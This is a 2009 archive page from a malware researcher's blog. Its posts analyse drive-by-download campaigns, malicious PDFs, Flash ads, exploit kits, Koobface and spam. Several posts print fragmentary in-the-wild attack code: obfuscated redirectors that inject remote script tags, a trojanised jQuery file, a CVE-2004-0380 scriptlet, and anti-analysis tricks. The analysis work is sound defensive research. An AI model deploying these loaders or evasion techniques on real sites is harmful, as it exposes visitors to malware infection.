Showing posts published in 2009. Show all posts.

CVE-2009-3459, CVE-2009-4324, and one PDF trick

PDF exploits—mostly targeting Adobe Reader and Acrobat programs—are very commonly used on drive-by web sites. This situation is probably the result of the widespread use of the Adobe plugin, a rather large of number of vulnerabilities found in it, and reliable exploitation techniques.

Two recent vulnerabilities for which I have added detection in Wepawet are CVE-2009-3459 and CVE-2009-4324 (click on the links to see analysis reports of two malicious samples). The former is an integer overflow in the PDF parser, the latter is a bug in the JavaScript interpreter.

The analysis of malicious PDF files is often complicated by the use of various obfuscation (or better, “confusion”) techniques. In particular, malicious PDF files are often malformed: expected sections are missing entirely, others are truncated. The attacks are still successful because Adobe Reader does a good job at automatically repairing the damaged file. Of course, analysis tools are not necessarily as good at that.

I recently found an interesting, small trick that was used in the wild. A little background first. A stream is a basic object (technically, a dictionary) used in PDF files to contain arbitrary content. In particular, malicious PDFs use streams to contain the JavaScript code used to launch an exploit. The Length entry in the stream dictionary is used to specify, you guessed it, the length of the encoded content. According to the PDF specification (Section for the curious), the length is to be specified as an integer. The sample I found, however, used an expression (a sum) to declare the stream length in the length declaration.

<</ / / / /Filter/ASCIIHexDecode/Length 100000+12488>>
... stream contents ...

Lessons learned: do not trust specs and be a little lenient in the parsing of PDF files...

Update 1/7/2010: Richard B. pointed out that Acrobat seems to detect that the length specification is malformed, discards it, and falls back to a simple parsing strategy to extract the stream contents. Thanks!

Analyzing and detecting malcious flash advertisements

Today, Sean Ford is going to present our paper Analyzing and Detecting Malicious Flash Advertisements at the ACSAC Conference.

The paper describes some of the techniques we use to detect malicious Flash files. More precisely, we focused on two main threats:

The paper also describes in some detail a number techniques that are used in malicious Flash files to evade detection (trigger-based behavior, timezone checks, etc.) and obfuscate the malicious code.

Here is the abstract:

The amount of dynamic content on the web has been steadily increasing, and sites now offer user experiences that come close to those found when running local native applications. Advanced scripting languages such as JavaScript and Adobe's Flash have been instrumental in delivering dynamic content on the Internet. Dynamic content has also become popular in advertising, where Flash has achieved success allowing the creation of rich, interactive ads that are displayed on hundreds of millions of computers per day. The success of Flash-based applications and advertisements attracted the attention of malware authors who use Flash to deliver attacks through advertising networks. This paper presents a novel approach whose goal is to automate the analysis of Flash content to identify malicious behavior. We designed and implemented a tool based on the approach, we made it available to the world, and we tested it on a large corpus of real-world Flash ads. The results show that our tool is able to reliably detect malicious Flash ads with very limited false positives.

"Presidential" spam

A technique often used by spammers to attempt to get their messages past spam filters consists of mixing the questionable content they advertise with legitimate text. This type of attack is sometimes called Bayesian poisoning since it is believed to specifically target spam filters that rely on Bayesian classifiers.

An example where this technique is applied is a message I received today:

I stand here today humbled by the task before 
<a href=>dofus kamas</a>, grateful for the trust you
have bestowed, mindful of the sacrifices borne by our 
<a href=>cheap dofus kamas</a>. I thank President 
<a href=>dofus power leveling</a> for his service to
<a href=>buy dofus kamas</a>, as well as the
generosity and cooperation he has shown throughout this transition.

This message consists of the first few sentences from Barack Obama's inaugural address, where a few words have been substituted with links to the web site. This web site appears to be in the business of selling Kamas, the currency used in the MMORPG game Dofus, and, judging by its graphics, items from other online worlds.

Screenshot of the website

Note that spam messages themed after Obama's inauguration ceremony were used by the Waledac gang to spread its malware back in January this year. If this is a trend, should we expect spam and malware to become one more reason for heated political debates?

YourBizBegin spam campaign on Facebook

A fairly successful spam campaign is currently active on Facebook. The campaign advertises the web sites and, which promise easy money for working from home. Googling for the site names shows various reports and complaints, for example, the ones on hkactivity.

Spam messages on Facebook advertising

The picture above shows a (sanitized) screenshot of a couple of messages that appeared on a compromised account. The text of all the spammed messages I have seen are similar to the ones shown above. The only variations I have observed so far are in the dollar amounts and the 3-letter signatures.

Screenshot of

The web sites and appear to be just front-ends for pushes a "Google Profit Club Kit," which, according to the site itself, should enable one to make an easy $200–$943 per day via Google ads. Downloading the kit costs only $3.95 of processing fee. Needless to say, the fine print at the bottom of the pages discloses that a membership rate of $74.93 is charged monthly. Furthermore, the terms of use and privacy policy terms on points at another web site,

Screenshot of

Here is some more information about the involved web sites:

JavaScript anti-analysis tricks: last-modified

Writers of malicious JavaScript code have always been keen on developing novel ways to make the analysis of their code harder. One of the most commonly used mechanisms to do so is (no surprise here) simple obfuscation. For example, malware authors commonly encode string literals with custom schemes. A decoding routine then de-scrambles the strings before using them further (for example, as the URL of the next step of an attack or as the CLSID of a vulnerable ActiveX control).

Interestingly, malware authors have also introduced various techniques to make the basic deobfuscation step more difficult, in particular, if performed in an off-line analysis environment, which, for example, examines the pages saved during a crawling session.

One of the earliest trick consists of using the URL of the obfuscated page as a decoding key in the deobfuscation routine. More recently, other techniques have also been used. One I have seen lately uses the time of the last modification of the page in the decoding routine.

Consider, for example, the following script:

var gtvwx=true,abwz="",gnru=false,
    for(var ehlt;cklqry<fopv.length;cklqry++){

The code reads the time the page was last modified from the document.lastModified property. This property is initialized from the value of the Last-Modified header sent from the web server serving the page. The script then parses the time and extracts the number of seconds from the time string into the cjltu variable. The seconds value is then used to compute the value of the gnty variable, which is used in the decoding routine to recover the in-the-clear text from the encoded array fopv..

These are the Wepawet reports for a couple of sites that use this techniques: report for hxxp:// and report for hxxp://

Mutu campaign on BlogSpot

A new malware campaign is currently abusing BlogSpot. I'll call it the "Mutu" campaign from the text that is found on the malicious pages. I have so far detected almost 400 blogs that are actively involved in the campaign.

A malicious blog looks like the following picture. Note that the actual text, layout, and color themes may vary across different pages.

A malicious "Mutu" blog on BlogSpot

A malicious page contains a script tag similar to the following:

<script language="javascript">
  + unescape('%77%77%77%2e%78')+unescape('%78%78%6f%64')

The script causes the victim's browser to fetch a malicious (or at least dubious) page from one of several domains. These are the domains that are currently being redirected to:

Some of these domains appear to be selling various items (cell phone, drugs). However, others (at least launch drive-by-download attacks. As a result, a malware with limited and generic detection on VirusTotal gets downloaded and launched on the vicitm's machine. For more details, see the Wepawet report for, a blog that redirects to drive-by attacks.

Old exploit still kicking (CVE-2004-0380)

Some exploits just do not want to go away.

Case in point is an exploit for CVE-2004-0380 (yes, 2004!) that I have recently found in hxxp:// The page is rather simple:

<OBJECT style="display:none;" type="text/x-scriptlet" 
    &#116&#112&#58&#47/ ::/102%2E%68tm">

The object tag instantiates a scriptlet. A scriptlet is essentially a reusable object written as a regular web page in which scripts follow certain conventions. Think of ActiveX controls implemented in HTML and VB script. For the sake of historical completeness, scriptlets were introduced in Internet Explorer 4, deprecated in Internet Explorer 5, and disabled by default in Internet Explorer 7. Talk about a successful technology...

After a simple decoding step, the data attribute of the scriptlet reveals the content MK:@MSITStore:mhtml:c:\.mht!http:// ::/102.htm, which, on a vulnerable system, would cause the malware logo.gif to be downloaded on the victim's computer.

The malware logo.gif has surprisingly good detection on VirusTotal. I wonder if it is also been around since 2004...

Liberty exploit toolkit

Here is another exploit toolkit that has been making the rounds recently: the Liberty exploit pack. Most notably, in mid-September, Liberty was used in a drive-by-download campaign that injected iframes pointing at and into a large number of vulnerable web sites.

A couple of pages from the toolkit admin panel:

Finally, you can see the Wepawet domain report for and for

JavaScript anti-analysis tricks: 404 status code

Here is an old trick for foiling manual and automated analysis of malicious pages that I still see used from time to time. When the malicious page is requested, the server sends back a 404 ("Not Found") HTTP status code. Regularly, this error message indicates that the requested resource could not be found on the server, and the returned page simply tries to help the visitor correcting the error. However, in the case of malicious pages that use this trick, the body of the apparently missing page contains code that attempts to exploit some browser vulnerabilities or to redirects to other malicious web sites.

The following is an example of a page (hxxp:// that uses this technique:

HTTP/1.1 404 Not Found
Date: Tue, 29 Sep 2009 07:26:41 GMT
Server: Apache/2
Last-Modified: Tue, 01 Sep 2009 12:55:36 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 133
Content-Type: text/html

<iframe src="" 
   width=0 height=0
   frameborder=0 marginheight=0 marginwidth=0

The headers indicate that the page is missing, but the body contains an iframe that redirects the browser to a page that launches various browser exploits. Of course, stopping the analysis after observing the 404 error code would not reveal any wrongdoing. A complete analysis instead (see the Wepawet report for hxxp:// for all the details) shows that after the redirection a malicious PDF and Flash files are delivered to the visitor's browser.

SEO to the top

A couple of days ago, Stephan Chenette of Websense had a nice post out on an active SEO campaign (in the following days, Websense has also released an alert to discuss how the campaign abuses the launch of Google Wave).

I am also following this campaign, which seems quite widespread, in terms of the number of web sites and search terms that are involved. Unfortunately, the campaign is also successful in pushing some of its malicious pages high up in the results returned for popular query terms by Google.

Here is a case where they even make it to the top spot:

Successful SEO for search term 'john dory taste'

As explained in Chenette's post, the malicious results (in red in the figure above) redirect to sites that push rogue AV software.

No doubt, the taste of that John Dory is going to be quite... sour.

Rogue AV...via Skype

A new (at least for me) twist on the distribution of rogue AV software. Skype user online.notification.america17, whose full name is, cleverly enough, Online Notification, sent me a chat (see below) to inform me that the "Security Center has detected malware on my computer".

An unwanted Skype chat pushing rogue AV software

The URL that is referenced in the message ( is currently down, but is listed in several blacklists, for example, hpHosts and WOT.

A gallery of fake koobface pages

Long time, no write... but I thought this could be a good occasion to start again.

It looks like the Koobface people have been busy updating their social engineering tricks. But let's start from the beginning. I was inspecting, a BlogSpot's blog that Wepawet flagged as suspicious and involved in pushing Koobface (see the Wepawet report for At first sight, the blog appears to be just one of the many BlogSpot pages involved in this activity.

However, a closer look at the source code of the page reveals something interesting. The code responsible for actually redirecting to Koobface is a fairly recent variant (I have seen it used as early as 2009-09-12). Here is a slightly simplified listing of this code:

var ogxbjeqrihscndvz6 = [ /* list of server IPs */ ];
var mzvtonlxsjprcb5 = '';

var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
  n = parseInt(location.href.substr(n + 4));
  if (n < 101) 
    js = '/cnet';
  else if (n < 201) 
    js = '/warn';
  else if (n < 301) 
    js = '/scan';
  else if (n < 401) 
    js = '';
for (var onwxklrqhybjvpase3 = 0; 
     onwxklrqhybjvpase3 < ogxbjeqrihscndvz6.length; 
     onwxklrqhybjvpase3 ++) {
  var ypcovhrtbmn8 = document.createElement('script');
  ypcovhrtbmn8.type = 'text/javascript';
  ypcovhrtbmn8.src = 'http://' + ogxbjeqrihscndvz6[onwxklrqhybjvpase3] + 
    '/go' + '.js' + '?0x3' + 'E8' + mzvtonlxsjprcb5 + js + '/' + 
    ( > 0 ? : '');

The script loops over an array that holds the IPs of compromised machines where visitors of the malicious blog will be redirected to. For each IP, an HTML script tag is added to the page. The tag is set to point to a URL on the compromised IP. Depending on certain conditions, the path of the URLs will contain one of the following strings: /view, /cnet, /warn, /scan. When the redirection finally is triggered, the victim is presented with a different page, depending on which of these strings was included in the URL.

All the pages attempt to social engineer visitors into downloading and installing the Koobface malware. Here are screenshots that show the tricks they use:

Just a few more aces up Koobface's sleeve...

JavaScript anti-analysis tricks: IE conditional compilation

An anti-analysis/fingerprinting trick I've noticed more and more frequently in drive-by downloads is the use of IE conditional compilation.

Conditional compilation is a feature of Internet Explorer that enables the browser to control the compilation of a script (that is, to include or exclude code to be interpreted) depending on the values of a number of conditional compilation variables. Predefined variables provide information about the client environment, such as its processor, OS, and JavaScript version. Conditional compilation statements are typically contained in regular JavaScript comments to prevent problems with browsers that do not support this feature.

Here is an example of how conditional compilation is used in drive-by downloads:

/*@cc_on @*/
/*@if (@_win32)
var source ="=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00:6" +
var result = "";
for(var i=0;i<source.length;i++)
/*@end @*/

The cc_on statement enables conditional compilation. The @if statement checks that the browser is running on a Win32 system. If this is the case, then the following JavaScript block is interpreted, otherwise it is simply ignored. The code block is a classic deobfuscation routine that produces the following text:

<script type="text/javascript" 

This script tag fetches a script that redirects to a number of pages serving exploits.

What happens if the user's browser does not support conditional compilation, for example, it is an analysis tool based on the stock SpiderMonkey or Rhino engines? Then, it will simply consider the entire conditional compilation section a comment and it will skip it. As a consequence, the malicious script tag will not be added to the page, and, therefore, the subsequent exploits will not be launched and will not be detected by the analysis tool.

The full report for the example is available on Wepawet.

JavaScript anti-analysis tricks: /textarea

Malicious JavaScript code often relies on defensive mechanisms to evade detection or to make its deobfuscation more difficult. Some of these methods have been well discussed (see, for example, the very nice presentations Reverse Engineering Malicious Javascript by J. Nazario and Circumventing Automated JavaScript Analysis by B. Hoffman), but it's interesting to see how they are used.

Some of the earliest defensive techniques are directed against the manual analysis of malicious code. For example, a quick analysis technique consists of wrapping the script's code into textarea tags so that deobfuscated code is written into the textarea and can be quickly inspected and copy-and-pasted for further analysis. In this case, the textarea is essentially used as a poor-man sandbox. Something the bad guys figured out quickly was that all they needed to do to defeat this technique was to close the textarea tag before performing any other action.

Somewhat surprisingly, this trick is still used from time to time. A few months ago, a malicious script on contained the following code:

var i, _, a = ["", ""];
_ = 1;
if (document.cookie.match(/\bhgft=1/) == null)
    for (i = 0; i < 2; i++)
        document.write("<script>if(_)" +
            "document.write(\"<script id=_" + i + "_ src=//" + a[i]" + 
            "/cp/?" + navigator .appName.charAt(0) + 

(see full report on Wepawet

The code closes the textarea to escape its "sandbox", checks that a cookie is not set, and then generates two script tags that redirect to exploits. If you were to wrap this code into a textarea, you would end up with an empty textarea and a wrong detection.

Malicious "jquery"

A social engineering trick that the people behind drive-by downloads are using is that of hiding their malicious code in the middle of benign, well-know code.

For example, recently, a number of compromised web sites have found their pages modified with iframes pointing at hxxp:// At a cursory inspection, jquery.js looks like the jQuery library, a well-known (and definitely benign) JavaScript library. The code includes the standard jQuery's copyright notice and revision information, and the first 6K bytes or so are indeed identical to the original library's code.

 * jQuery JavaScript Library v1.3.1
 * Copyright (c) 2009 John Resig
 * Dual licensed under the MIT and GPL licenses.
 * Date: 2009-01-21 20:42:16 -0500 (Wed, 21 Jan 2009)
 * Revision: 6158
(function(){var l=this,g,y=l.jQu...

However, the malicious code is hidden toward the end of the script, where one finds:

if( (typeof(jquery_data)!=typeof(1)) && 

This code determines whether an attack has already been launched, by checking the jquery_data variable and the miek cookie. If not, it deobfuscates a long string and writes it in the current page. The deobfuscated string creates a new script tag which points at hxxp:// The value of the id parameter in the script URL is 100 if the codename of the browser starts with the letter M (e.g., Firefox and Internet Explorer), 101 in all other cases. This page, in turn, attempts to launch a number of exploits (see the Wepawet report. The exploits target vulnerabilities in MDAC, PDF, and SWF.

It's certainly true: thing are not always what they seem...

Yes exploit toolkit

It is well known that most drive-by downloads rely on exploit toolkits to fingerprint the victim's browser, identify the right exploits to launch, obfuscate the exploit code, and send it to the target.

Different exploit toolkits compete with each other on several of features. Obviously, the number and reliability of exploits. But also on user friendliness and look and feel. As evidence of this, check the interface of the Yes exploit toolkit:

Interface of the Yes toolkit

No question, they spent some time on that desktop-like, web 2.0 interface...

Skype spam

Apparently years after everybody else, today I've got my first spam message on Skype. Nothing too surprising: a funny named, scanty clothed "spicy naked Dive-Teacher" abruptly but insistently invited me to visit a dubious web site. My attempts to strike a conversation with her failed miserably, as a consequence, I suppose, of my slow reaction to her invitation. Oh, well.

Screenshot of the Skype spam message